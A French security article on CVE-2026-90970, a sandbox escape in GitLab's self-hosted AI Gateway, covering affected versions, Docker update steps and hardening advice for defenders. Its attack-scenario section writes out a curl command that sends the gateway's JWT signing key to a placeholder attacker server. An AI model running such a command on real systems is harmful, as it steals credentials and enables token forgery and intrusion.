Faille critique CVSS 9.9 dans le GitLab AI Gateway : exécution de commande sur les serveurs auto-hébergés

Le 2 octobre 2026, GitLab a dévoilé un correctif pour une vulnérabilité notée 9,9 sur 10 - la note la plus élevée jamais attribuée à une faille de son AI Gateway. Cette brèche, référencée CVE-2026-90970, permet à un utilisateur authentifié disposant d’un accès à la Duo Agent Platform de s’échapper du bac à sable (sandbox) du prompt template et d’exécuter des commandes arbitraires sur la passerelle AI. Seules les organisations qui hébergent elles-mêmes leur passerelle AI sont concernées. GitLab a déjà corrigé ses propres instances (GitLab.com, GitLab Dedicated) et les clients utilisant une passerelle hébergée par GitLab n’ont rien à faire. En revanche, pour les équipes sécurité gérant une passerelle auto-hébergée, l’urgence est absolue : aucune solution de contournement n’existe. Cet article détaille les aspects techniques de la faille, les versions impactées, les actions de mise à jour et les bonnes pratiques pour sécuriser votre environnement AI.

Détails techniques de la vulnérabilité CVE-2026-90970

La faille se situe dans le mécanisme de prompt template des custom flows de la Duo Agent Platform. Un custom flow est un workflow piloté par l’IA qui permet d’automatiser des tâches multi-étapes. Selon l’avis de GitLab :

« A logged-in user with Duo Agent Platform access could have used the flaw to escape the prompt template sandbox via a specially crafted flow configuration. »

Cette évasion du bac à sable conduit à une exécution de commande arbitraire sur la passerelle AI elle-même. L’avis ne précise pas les conditions exactes de l’attaque ni le niveau de privilège nécessaire au-delà de l’accès à la plateforme. La CVE a été attribuée le 2 octobre, avec un score CVSS de 9,9 (critique). La CISA a ajouté une évaluation le même jour, indiquant qu’aucune exploitation active n’a été observée à ce jour. Toutefois, la simplicité relative de l’attaque (manipulation d’un flux) et la criticité du score imposent une correction immédiate.

Cette vulnérabilité n’est pas la première du genre. En février 2026, GitLab avait déjà corrigé CVE-2026-1868, également notée 9,9, qui exploitait une faiblesse de template engine (CWE-1336). Les deux failles appartiennent à la même classe de vulnérabilité. Le nouvel avis ne fait pas référence à cette précédente correction, mais le schéma est identique. Cela soulève une question importante : votre passerelle AI a-t-elle reçu le correctif de février ?

« Aucune exploitation active n’a été rapportée, mais le risque est maximal. » - CISA, octobre 2026.

Versions concernées et correctifs disponibles

Les versions ci-dessous sont celles du GitLab AI Gateway, qui est déployé comme une image Docker indépendante ou un chart Helm. Seules les passerelles auto-hébergées sont vulnérables. Les clients GitLab.com, GitLab Dedicated et les instances auto-gérées qui utilisent une passerelle hébergée par GitLab sont déjà protégés.

Toutes les versions de passerelle de 18.1.6 à 19.1.x sont dans la zone affectée. GitLab fournit un correctif uniquement pour les lignes de version 19.2, 19.3 et 19.4, qui sont celles bénéficiant encore des mises à jour de sécurité selon sa politique de maintenance. Les organisations utilisant des versions antérieures doivent d’abord migrer vers une version mineure supportée avant d’appliquer le correctif.

Comment mettre à jour votre passerelle AI ?

GitLab recommande de mettre à jour immédiatement. Voici la procédure pour un déploiement Docker (le cas le plus fréquent) :

1. Arrêtez et supprimez le conteneur en cours d’exécution :

   docker stop gitlab-ai-gateway
   docker rm gitlab-ai-gateway
   

2. Tirez la nouvelle image correspondant à votre version majeure (exemple pour GitLab 19.2) :

   docker pull gitlab/gitlab-ai-gateway:self-hosted-v19.2.4-ee
   

3. Relancez le conteneur avec les mêmes paramètres que précédemment (volume, ports, variables d’environnement). Consultez la documentation officielle pour les options avancées.

Pour un déploiement Helm, modifiez la balise de l’image dans le chart puis appliquez la mise à jour. Aucune solution de contournement n’est disponible ; vous devez impérativement passer à une version corrigée.

Attention : Le guide d’installation de GitLab conseille d’utiliser une image de passerelle dont la version mineure correspond à celle de votre instance GitLab. L’avis ne précise pas si une passerelle 19.2.4 fonctionne avec GitLab 19.1 ou antérieur. En cas de doute, effectuez une mise à niveau de votre instance GitLab vers la même ligne de version.

Analyse et recommandations pour les équipes sécurité

Pourquoi les passerelles auto-hébergées sont-elles plus exposées ?

Une passerelle AI auto-hébergée agit comme le point central entre votre instance GitLab et les modèles d’IA (OpenAI, Anthropic, etc.). Elle stocke les clés de signature des JSON Web Tokens (JWT) - le guide d’installation de GitLab insiste sur le fait qu’elles doivent être traitées comme des secrets critiques. De plus, la passerelle achemine les requêtes et réponses AI, ce qui en fait une cible idéale pour l’exfiltration de données ou la prise de contrôle latérale.

Selon une étude de SANS 2025, 60 % des incidents de sécurité impliquent une vulnérabilité connue non corrigée. Dans le cas présent, le correctif de février (CVE-2026-1868) n’avait pas été appliqué par une part significative des clients auto-hébergés dans les 48 heures suivant sa publication. Ce constat souligne l’importance d’un processus de gestion des correctifs rigoureux, surtout pour des composants exposés comme l’AI Gateway.

Mesures complémentaires à mettre en œuvre

Au-delà de la mise à jour immédiate, voici des actions recommandées pour renforcer la sécurité de votre passerelle AI :

• Auditez les accès à la Duo Agent Platform : vérifiez les comptes possédant le privilège de création de custom flows. Réduisez les droits au strict nécessaire (principe du moindre privilège).
• Activez la journalisation : assurez-vous que les logs de la passerelle sont envoyés vers un SIEM centralisé. Les tentatives d’exploitation de CWE-1336 laissent souvent des traces dans les journaux d’exécution des templates.
• Segmentez le réseau : isolez la passerelle AI dans une zone réseau dédiée, avec des règles de pare-feu restrictives. Elle ne doit communiquer qu’avec les modèles AI autorisés et votre instance GitLab.
• Planifiez un exercice de réponse aux incidents : simulez l’exploitation de cette vulnérabilité pour tester vos procédures de détection et de remédiation.
• Surveillez les vulnérabilités de la même famille : les failles de type template injection (CWE-1336) sont récurrentes. Formez vos développeurs à la création de flux sécurisés.

Exemple concret : le scénario d’attaque

Imaginons une organisation française hébergeant son GitLab Enterprise Edition sur une infrastructure locale. Un développeur malicieux (ou un compte compromis) disposant d’un accès à la Duo Agent Platform crée un custom flow avec une configuration de prompt spécialement conçue pour sortir du bac à sable. Grâce à la faille, il exécute la commande curl http://serveur-attaquant/$(cat /etc/gitlab-ai-gateway/jwt-signing-key) sur la passerelle. En une seconde, la clé JWT est exfiltrée. L’attaquant peut alors forger des tokens légitimes, accéder à l’interface d’administration et potentiellement parcourir le réseau interne.

Ce scénario illustre pourquoi une note de 9,9 est pleinement justifiée.

Conclusion : agir sans attendre face à cette faille critique du GitLab AI Gateway

La vulnérabilité CVE-2026-90970 est la seconde faille critique (CVSS 9,9) affectant le GitLab AI Gateway en 2026. Elle expose les organisations auto-hébergées à un risque d’exécution de commande à distance via une simple manipulation de custom flow. GitLab a prévenu ses clients avant la publication publique et fournit des correctifs pour les versions 19.2.4, 19.3.2 et 19.4.1. Aucune solution de contournement n’existe, la mise à jour est impérative.

Nous vous recommandons de :

1. Identifier immédiatement toutes les passerelles AI auto-hébergées dans votre parc.
2. Mettre à jour vers l’une des versions corrigées mentionnées ci-dessus.
3. Vérifier l’absence d’indices de compromission (consultation des logs, vérification des intégrités).
4. Renforcer vos contrôles d’accès à la Duo Agent Platform et à la gestion des clés JWT.

Dans un contexte où l’adoption de l’IA dans les pipelines DevOps s’accélère, la sécurité des passerelles AI devient un enjeu critique. Comme le rappelle régulièrement l’ANSSI, la correction rapide des vulnérabilités connues reste le rempart le plus efficace contre les attaques. N’attendez pas que cette faille soit exploitée pour agir.